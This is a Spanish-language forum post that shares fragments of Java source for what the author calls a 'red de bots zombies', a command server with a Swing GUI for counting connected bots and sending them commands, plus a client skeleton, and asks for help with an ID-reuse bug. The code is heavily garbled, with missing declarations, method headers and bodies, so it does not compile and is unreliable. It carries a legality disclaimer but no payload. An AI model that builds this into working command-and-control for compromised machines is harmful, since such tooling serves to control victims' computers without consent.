Os pongo el codigo (que tiene un fallo importante):
Servidor.java
Código
/* * Servidor.java * * Created on 30-dic-2009, 11:21:52 */ package main; /** * * @author debci */ import java.util.logging.Level; import java.util.logging.Logger; import threads.*; //Instanciamos el thread que gestiona las conexiones con los bots private static ThreadEjecución thread = new ThreadEjecución(); /** Creates new form Servidor */ public Servidor() { initComponents(); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { itemSalir.setText("Salir"); itemSalir.setComponentPopupMenu(PopMenu); itemSalirActionPerformed(evt); } }); PopMenu.add(itemSalir); jLabel1.setText("Tienes"); numBots.setText("numBots"); jLabel2.setText("bots a tu disposicion."); slider.setMaximum(0); slider.setPaintLabels(true); slider.setPaintTicks(true); slider.setToolTipText("Sleciona cuantos bots quieres realizar para la siguiente ación."); slider.setComponentPopupMenu(PopMenu); sliderStateChanged(evt); } }); botsSel.setText("0"); jLabel4.setText("bots selecionados."); btnEnviar.setText("Enviar"); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addComponent(jLabel1) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(numBots) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jLabel2)) .addGroup(layout.createSequentialGroup() .addComponent(slider, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(botsSel, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jLabel4))) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addComponent(envComando, javax.swing.GroupLayout.PREFERRED_SIZE, 242, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(btnEnviar) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(52, 52, 52) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1) .addComponent(numBots) .addComponent(jLabel2)) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(18, 18, 18) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel4) .addComponent(botsSel))) .addGroup(layout.createSequentialGroup() .addGap(27, 27, 27) .addComponent(slider, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(btnEnviar) .addComponent(envComando, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(63, 63, 63)) ); slider.getAccessibleContext().setAccessibleDescription("Seleciona cuantos bots quieres realizar para la siguiente ación"); pack(); }// </editor-fold> botsSel.setText(valorSlider.toString()); } } /** * @param args the command line arguments */ @SuppressWarnings("static-access") public void run() { new Servidor().setVisible(true); thread.start(); } }); } // Variables declaration - do not modify // End of variables declaration }
ControlBots.java [THREAD]
Código
ThreadEjecución.java [THREAD]
package threads; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.util.logging.Level; import java.util.logging.Logger; import main.Servidor; /** * * @author debci */ //Para leer datos en el socket //Para escribir datos en el socket //Cadena que envia el thread principal a cada bot //Cadena de texto que el bot envia para informar //Identificador que se le asigna a cada bot //Contador de la lista negra { try { signal = envio; id = identificador; Logger.getLogger(ControlBots.class.getName()).log(Level.SEVERE, null, ex); } } public void run() { try { dataOutput.writeInt(id); dataOutput.writeUTF(signal); while (true) { recivido = dataInput.readUTF(); if(recivido.equals("error")) { }else if(recivido.equals("todo bien")) { }else { } } ThreadEjecución.listaNegra.put(contador, id); ThreadEjecución.RenovarDatos(); contador++; } } { try { dataOutput.writeUTF(comando); Logger.getLogger(ControlBots.class.getName()).log(Level.SEVERE, null, ex); } } }
Código
package threads; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.util.Hashtable; import java.util.logging.Level; import java.util.logging.Logger; import main.Servidor; import threads.ControlBots; /** * * @author debci */ public static boolean pasoTransitorio = true; //Vector donde vamos almacenando todos los bots zombies que se van conectando public static Hashtable<Integer, Socket> vectorZombies; //Vector donde vamos guardando en que indices quedan vacios public static Hashtable<Integer, Integer> listaNegra; //Thread de control public ControlBots nuevoZombie; //Dato donde guardamos cual hay libre //Comprueba que ya se haya eliminado algun bot para poner en practica la //rutina de comprobacion. public static boolean borrado = false; public ThreadEjecución() { //Declaración de variables de instancia para usar durante el proceso //Try para capturar exepciones y tratar posibles errores try { Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex); } } public void run() { while (true) { try { idZombie++; if(listaNegra.isEmpty()) { vectorZombies.put(idZombie, zombie); nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red de Bots!", idZombie); }else{ for(int i = 0; i < listaNegra.size(); i++) { if(listaNegra.containsKey(i)) { disponible = i; break; } } for(int i = 0; i< listaNegra.size(); i++) { } vectorZombies.put(listaNegra.get(disponible), zombie); nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!",listaNegra.get(disponible)); listaNegra.remove(disponible); ControlBots.contador--; } nuevoZombie.start(); Servidor.slider.setMaximum(idZombie); Servidor.numBots.setText(idZombie.toString()); borrado = false; Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex); } } } public static void RenovarDatos() { idZombie--; Servidor.slider.setValue(idZombie); Servidor.slider.setMaximum(idZombie); Servidor.numBots.setText(idZombie.toString()); } public void rutinaComprovacion() { } { } }
Un ejemplo de cliente
Vamos a hacer un cliente de echo:
Código
Podemos usar esta plantilla para hacer todo tipo de cosas, ojo ninguna que esta fuera del limite de lo legal, lo prohibo explicitamente, y no me haré responsable de los posibles daños que pueda acarrear.
package main; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException; import java.util.logging.Level; import java.util.logging.Logger; /** * * @author debci */ public class Cliente { public static int identificador; { try { ThreadBot hilo = new ThreadBot(); hilo.start(); Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex); Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex); } } public void run() { try { identificador = dis.readInt(); while (true) { try { dos.writeUTF(recivido); Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex); } } Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex); } } } }
El uso es simple solo hace falta saber algo de java, programasmo unc liente y el servidor le envia datos (strings, integers, booleans...) y el cliente responde, todo esto ademas se hace masificado.
No es funcional por si solo, haria falta añadrile parte de codigo.
Ahora el problema que tengo:
Cuando un nuevo bot se añade, se le asigna un id, y cuando se elimina se añade esa id a una lista donde luego cuando otro entre se le asignara para tener todos los id ocupados, de esta manera cuando uno s eva al siguiente se le asigan el id del que se ha ido.
Pero el problema reside, en que cuando se desconectan dos simultaneos, luego no funciona como deberia, al siguiente le asigan bien el id pero al otro ya no.
Estoy desesperador lelvo como 3 semanas con esto y no salgo de este problema, seguro que es una tonteria, pero no soy capaz de ver donde etsa fallando.
Espero que os guste.
Saludos a tod@s